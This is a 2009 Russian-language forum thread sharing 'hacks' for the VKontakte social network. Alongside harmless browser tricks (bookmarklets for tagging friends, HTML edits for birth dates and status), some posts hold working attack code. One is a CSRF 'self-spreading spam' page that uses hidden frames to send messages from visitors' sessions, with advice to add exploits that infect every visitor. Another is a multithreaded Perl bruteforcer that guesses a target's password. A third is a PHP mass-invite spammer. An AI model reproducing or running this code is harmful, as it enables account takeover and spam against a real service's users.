Тут я буду выкладывать хаки=)
По сайту вконтакте!
Сообщений 1 страница 15 из 15
Поделиться22009-01-01 21:06:41
Скрипт для отметки всех друзей на фото
Требования: Mozilla Firefox >= 2
Для того, чтобы отметить всех друзей на фотке, надо:
1. Откройте любую фотографию в вашем альбоме
2. Нажмите кнопку Отметить, чтобы подгрузился список ваших друзей
3. Вставьте в адресную строку следующий код. Только не забудьте убрать пробел в "java script" (оно выделено жирным шрифтом)
java script:(function() { function getPhotoInfo() { if(res = /id=(\d+)_(\d+)/.exec(location.href)) return {"mid": res[1], "pid": res[2]}; else return {"mid": 0, "pid": 0}; } function getMyID() { var anchs = document.getElementsByTagName("a"); for(i = 0; i < anchs.length; i++){ if(res = /id(\d+)/.exec(anchs[i].href)) return res[1]; } return 0; } window.adostes_mark = function(i){ if(friends == undefined || i >= friends.length){ if(rotating = document.getElementById("rotating")) rotating.innerHTML = "<h4> All friends have marked on this photo!</h4>"; window.clearTimeout(window.adostes_timer); return; } request_uri = "http://vkontakte.ru/photos.php?act=put&pid="+window.adostes_mid+"_"+window.adostes_pid+"&id="+window.adostes_mid+"&oid=0&subject="+friends[i]["id"]+"&name="+encodeURI(friends[i]["name"])+"&add=1&x="+(Math.random()*100)+"&y="+(Math.random()*100)+"&x2="+(Math.random()*100)+"&y2="+(Math.random()*100); img = new Image(); img.src = request_uri; if(commentArea = document.getElementById("commentArea")) commentArea.innerHTML = i + " of " + friends.length + " friends marked!"; var new_index = i+1; window.adostes_timer = window.setTimeout("window.adostes_mark(" + new_index + ")", 500); }; window.adostes_markallf = function(){ if(!friends){ alert("Click \"Mark human\"!"); return; } if(!confirm("Are you sure want to mark all friends?\r\nAuthor: Nikolay Khodov (id5500005)")) return; if(rotating = document.getElementById("rotating")) rotating.innerHTML = "<h4> Processing <img src=\"http://vkontakte.ru/images/upload.gif\"><br /> Please wait...</h4>"; window.adostes_timer = window.setTimeout("window.adostes_mark(0)", 0); }; var mid; var pid; var myid = getMyID(); var info = getPhotoInfo(); if(!(location.href.match(/vkontakte.ru/) && location.href.match(/photo/))) { alert("Open page with your photo"); return; } window.adostes_pid = info["pid"]; window.adostes_mid = info["mid"]; adostes_markallf(); })();
4. Нажмите Enter и ждите: в области ввода комментария отображается процесс отмечания.
Поделиться32009-01-01 21:08:18
Cкрипт для отмечания всех друзей на видио:
1) Выберите видео
2) Нажать кнопочку "отметить", чтоб высветился список Ваших друзей
3) В вверхней левой строке, вместо wwwvkontakte.ru пишете:
2)
java script:for(blabla=0;blabla<Тут;blabla++){ var elem = document.getElementById('f'+blabla); if(elem == null) break; elem.onclick(); }
между словами "java" и "script" удаляем пробел,где я написала слово тут там пишите количество ваших друзей жмём "Enter" и готово))) друзья отмечаются сами)))
...так же, если вы хотите найти себя в большом списке, то просто нажмите "Ctrl + F" в появившейся графе впишите своё имя и нажмите "Enter" и компьютер автоматически выделит Ваше имя!!!
Поделиться42009-01-01 21:09:38
Как поставить дату рождения 666 и т.п.
http://vkontakte.ru/profileEdit.php?sub … igion_id=0
Разберём эту ссылку:
идём по ссылке sex=[1,2] это 1- жен; 2-муж
status=[1,2,3,4,5,6] 1-не женат(не замужем); 2-Есть подруга(Есть друг); 3-Помолвлен(а); 4-Женат(замужем); 5-Всё сложно; 6-В активном поиске.
status=[1,2,3,4,5,6] 1-не женат(не замужем); 2-Есть подруга(Есть друг); 3-Помолвлен(а); 4-Женат(замужем); 5-Всё сложно; 6-В активном поиске.
with=...[id такого человека, за которого можно выйти замуж, женится]
bday_day=...[день рождения]
bday_month=...[Месяц рождения]
bday_year=...[Год рождения Пример:90,89]
bday_visibility= 1 вкл [Показывать дату рождения на глав. сранице]
home_town= ...[Город, если после ровно ничего не указать, то ничего не появится]
political= [1-8] Полетические взгляды
id= [Ваш id] ТОЛЬКО обязательно!
Поделиться52009-01-01 21:10:08
Меняем дату рождения на любой день, месяц или год
1) если нет, то скачать Оперу 9.27
2) в контакте нажать на "ред." рядом с кнопкой "Моя страница"
3) нажать Ctrl+F3
4) прокрутить открывшийся код вниз до списка со строками вида <option value="1">1</option>
5) в найденном куске изменить в строке <option value="1">1</option> обе цифры 1 на одно и то же желаемое число
6) прокрутить еще немного вниз до списка годов и в </option><option value="1996">1996</option> изменить оба числа 1996 на одинаковые желаемые числа
7) посмотреть наверх и нажать кнопку "Сохранить изменения"
8) кликнуть на вкладку со страницей редактирования страницы контакта и выбрать в списках только что сделанные числа
9) нажать сохранить
10) зайти на свою страницу и убедиться, что все работает
ВНИМАНИЕ: подобная фишка с первого раза может не получиться!
Поделиться62009-01-01 21:13:26
Прикольный статус 1)Заходим в Opera. Именно ОПЕРА!
2)Идем на Мою страничку.
3)Нажимаем правой кнопкой мыши и выбираем "Исходный код".(Ctrl+U)
4)Нажимаем Правка->Найти(Ctrl+F).
5)В поле "Поиск" пишем <input style="background-position: center center;" class="inputtext" type="text" id="edit_activity_text" name="edit_activity_text" value="" maxlength="160" onblur="return activity_editor.blur();" onkeypress="return activity_editor.handle_key_press(event);" />
6)Заменяем это на <textarea id="edit_activity_text" name="edit_activity_text" onblur="return activity_editor.blur();" ></textarea>
7)Теперь можно писать статус в столбик, разделяя клавишей "Ввод"("Enter").
8)Чтобы зафиксировать статус надо кликнуть в любой точке экрана. Чтобы статус остался, т.к. Enter'ом уже его зафиксировать не получаеться=)
Поделиться72009-01-01 21:22:43
спасибо)) полезненько)
Поделиться92009-01-02 22:12:24
Саморассылающийся спам
В связи с тем, что изначально формы отправки сообщений и комментариев были ничем не защищены, то был получен довольно забавный опыт саморассылающегося спама. Это и по сей день остаётся актуальным, ибо часть скриптов по-прежнему не защищена.
Итак, рассмотрим, к примеру, скрипт отправки личных сообщений. Вообще, изначально пользователи взаимодействуют с ним посредством метода POST, но в самом скрипте метод не проверяется (то ли используется суперглобальный массив $_REQUEST, то ли register_globals=on).
Примечание: метод не имеет значения, просто метод GET несколько упрощает скрипт, о методе POST будет сказано ниже.
Чтобы отправить сообщение достаточно перейти по ссылке: http://vkontakte.ru/mail.php?act=sent&a … amp;am....
Сообщение будет отправленно в случае наличия куки. Собстсвенно, в этом и состоит идея - написать скрипт, который будет открывать эту ссылку в скрытом фрейме, рассылая наши сообщения.
Создадим три страницы:
1) index.html
Код HTML:
<frameset ROWS="100%,0%,0%"> <FRAME NAME="mainfrm" src="http://www.183.ru/2/"> <FRAME NAME="preved" src="preved.html"> <FRAME NAME="timer" src="timer.html"> </frameset>
2) preved.html
Код HTML:
<html><head></head><body></body></html>
3) timer.html
Код HTML:
<head> <script> function timer() { var msg = new String(); var msg_to ; do { msg_to=Math.ceil(Math.random()*1000000); } while (msg_to.value>1100000); // генерируем случайный id получателя msg=urlencode('Превед!'); // наше сообщение /> msg+='%0a'+parent.location; // добавим к сообщению ссылку на сайт, на котором мы расположены // отправим наше сообщение parent.preved.document.location="http://vkontakte.ru/mail.php?act=sent&to_id="+msg_to+"&title=&message="+msg; setTimeout("timer()", 1250); // И поставим сами себя на таймер } </script> </head> <body> <script> timer(); </script> </body>
Таким образом, скрипт во фрейме timer будет постоянно слать сообщения, используя фрейм preved, а фрейм mainfrm служит для отвода глаз.
Что делать, если скрипт поддерживает только метод POST? В этом случае нужно создать форму для отправки данных скрипту на сервере, и написать скрипт для отправки формы, вызывающий метод submit: document.our_form.submit();
Пример сего чуда в действии можно посмотреть тут: http://l-0-v-e.tu2.ru
Когда я опробовал это в действии, счётчик на странице насчитал 17400 человек, сходивших по ссылке. Не очень много, но всё же.
Сие милое развлечение было окрещено пользователями "вирусом".
"Какая же от этого практическая польза?" - спросите вы. Понавешайте на страницу илитных зиродей сплоетов, троянящих каждого зашедшего, и польза будет
Поделиться102009-01-02 22:13:47
Многопоточный флудер
Ну и коль мы нахекали целую гору аккаунтов, отчего б не написать спаммер заметок.
How to use: аккаунты в accs.txt, прокси в proxies.txt. Для отправки каждого сообщения fork-ом создаётся потомок нашего процесса, если он живёт слишком долго - убивается. Под разными системами по-разному, на некоторых после завершения родительского процесса могут оставаться детишки-зомби
Код:
#!/usr/bin/perl
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
##########################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
##########################################
$dic = 'pass.txt'; #словарь паролей
$id = 111111; #id цели
$mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
##########################################
open (pass, "<$dic");
Next:
@pass = pass();
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"сonnection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}
}
goto Next;
sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas > 500);
}
chomp @mas;
return @mas;
}
Поделиться112009-01-02 22:15:59
Массовая приглашалка в группы vkontakte.ru (php)
Работает очень просто создаем на хосте у себя файл php, и вставляем этот код внутрь. Пользоваться просто: вводим рег данные вконтакте, номер группы приглашение которой хотим разослать и диапазон id пользователей, которым отправить приглашение. Как пользовать, сами разберетесь.
<?
#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
#& Vkontakte.ru group inviter
#& By NNNS {icq: 474374}
#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
error_reporting(0);
set_time_limit(0);
# Всякие переменные
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11";
$begin = intval($_POST['begin']);
$end = intval($_POST['end']);
$gid = intval($_POST['gid']);
$email = strip_tags($_POST['email'], "");
$pass = strip_tags($_POST['pass'], "");
if($begin == '') {$begin = "0";}
if($end == '') {$end = "0";}
if($gid == '') {$gid = "0";}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>ВКонтакте инвайтер (С) NNNS</title>
<style type="text/css">
<!--
.tablichko {
font-family: Arial, Helvetica, sans-serif;
background-color: #F7FCFD;
border-top-width: 1px;
border-bottom-width: 1px;
border-top-style: solid;
border-bottom-style: solid;
border-top-color: #E0F3F8;
border-bottom-color: #E0F3F8;
height: 100px;
}
.tit {
font-family: Georgia, "Times New Roman", Times, serif;
font-size: 24px;
color: #1C6679;
}
.comment {
font-family: Arial, Helvetica, sans-serif;
font-size: 10px;
color: #289AB7;
}
.inputko {
font-size: 12px;
color: #289AB7;
height: 16px;
text-align: center;
border-top-width: 1px;
border-left-width: 1px;
border-top-style: solid;
border-right-style: none;
border-bottom-style: solid;
border-left-style: solid;
border-top-color: #E0F3F8;
border-left-color: #E0F3F8;
border-bottom-width: 1px;
border-bottom-color: #E0F3F8;
}
.inputko:focus {
background-color: #E8F5F9;
}
.inputko2:focus {
background-color: #E8F5F9;
}
.inputko3:focus {
background-color: #FFF;
}
.buttoncheg {
color: #FFFFFF;
background-color: #1C6679;
border: 1px solid #E0F3F8;
height: 20px;
font-size: 12px;
width: 80px;
}
.inputko2 {
font-size: 12px;
color: #289AB7;
height: 16px;
text-align: center;
border-top-width: 1px;
border-top-style: solid;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: none;
border-top-color: #E0F3F8;
border-bottom-width: 1px;
border-bottom-color: #E0F3F8;
border-right-width: 1px;
border-right-color: #E0F3F8;
}
.inputko3 {
font-size: 12px;
color: #289AB7;
height: 16px;
text-align: center;
width: 78px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: none;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: solid;
border-right-color: #E0F3F8;
border-bottom-color: #E0F3F8;
border-left-color: #E0F3F8;
background-color: #F7FCFD;
}
.vtab {
color: #48BAD7;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #DFF3F9
font-size: 12px;
font-family: Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body>
<form method="post" action="">
<table width="100%" border="0" cellpadding="0" cellspacing="0" class="tablichko">
<tr>
<td align="center" valign="middle"><span class="tit"> ВКонтакте инвайтер<br />
</span>
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td colspan="2" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">Диапазон пользователей (с/до) </td>
<td valign="top"> </td>
<td width="100" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">email </td>
<td width="100" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">пароль</td>
</tr>
<tr>
<td valign="top"><input name="begin" type="text" class="inputko" id="begin" value="<?=$begin;?>" /></td>
<td valign="top"><input name="end" type="text" class="inputko" id="end" value="<?=$end;?>" /></td>
<td valign="top"><input name="submit" type="submit" class="buttoncheg" id="submit" value="Пригласить" /></td>
<td width="100" valign="top"><input name="email" type="text" class="inputko2" id="email" value="<?=$email;?>" /></td>
<td width="100" valign="top"><input name="pass" type="text" class="inputko2" id="pass" value="<?=$pass;?>" /></td>
</tr>
<tr>
<td valign="top"> </td>
<td align="right" valign="middle"><span class="comment">ID группы ></span></td>
<td align="center" valign="middle" bgcolor="#FDFFFF" class="error"><input name="gid" type="text" class="inputko3" id="gid" value="<?=$gid;?>" /></td>
<td width="200" colspan="2" valign="middle"> </td>
</tr>
</table></td>
</tr>
</table>
</form>
<br />
<?php
if ($_POST['submit']) {
# Соединяемся с сервером ВКонтакте.ру
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
if (!fp) {die();}
# Авторизуемся
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans='';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}
fclose($fp);
# вытаскиваем кукисы из ответа сервера
preg_match("/revalidate(.*?)Location/is", $ans, $cookies);
$cookies = str_replace("Set-Cookie: ", "",$cookies[1]);
preg_match("/remixchk(.*?);/is", $cookies, $cook1);
preg_match("/remixmid(.*?);/is", $cookies, $cook2);
preg_match("/remixemail(.*?);/is", $cookies, $cook3);
preg_match("/remixpass(.*?);/is", $cookies, $cook4);
$cook1 = "remixchk=".$cook1[1]."; ";
$cook2 = "remixmid=".$cook2[1]."; ";
$cook3 = "remixemail=".$cook3[1]."; ";
$cook4 = "remixpass=".$cook4[1]."; ";
$acook = $cook1.$cook2.$cook3.$cook4;
$acook = str_replace ("==", "=", $acook);
# Открываем новое соединение
for($i=$begin;$i<$end;$i++) {
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
$out = "GET /groups.php?act=ajaxinv&gid=".$gid."&id=".$i." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: ".$acook."\r\n\r\n";
fwrite($fp, $out);
$ans='';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}
# достаем результат
preg_match("/>(.*?)</is", $ans, $result);
# Выводим его
echo "<center><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"vtab\">
<tr>
<td width=\"70\" valign=\"middle\">".$i."</td>
<td width=\"350\" valign=\"middle\">".$result[1]."</td>
</tr>
</table><center>";
ob_flush();
flush();
fclose($fp);
sleep(1);
}
}
?>
</body>
</html>
Поделиться122009-01-02 22:17:46
Сидеть в контакте и быть офлайн.
Способ есть. Нужно НЕ заходить на скрипт profile.php. Очень полезно, когда сидите не под своим акком. То есть подойдут все остальные скрипты, кроме этого. В этом случае в онлайн человек не добавляется.
Поделиться132009-01-02 22:20:07
Маш неплохо ты вставила но тут прокси серверы потом будут глючить если создать php cтраницу
Поделиться142009-01-02 22:20:56
Отменить заявку добавления в друзья.
Для отмены заявки нужно скопировать в адресную строку вашего браузера следующую ссылку: http://vkontakte.ru/friend.php?act=remo … id=000000, где 000000 нужно заменить на нужный Вам ID.
Поделиться152009-01-02 22:22:44
Пустое имя и фамилия!
Это возможно только при регистрации:
Способ 1
1. вводим в поле имени и фамилии по два пробела
2. заполняем остальное
Жмём зарегистрироваться, всё!
Способ 2
1. заполняем всё, кроме имени и фамилии
2. копируем в адресную строку java script: this.disabled=true; document.regMe.submit();
3. стираем пробел между java и script, нажимаем enter, всё.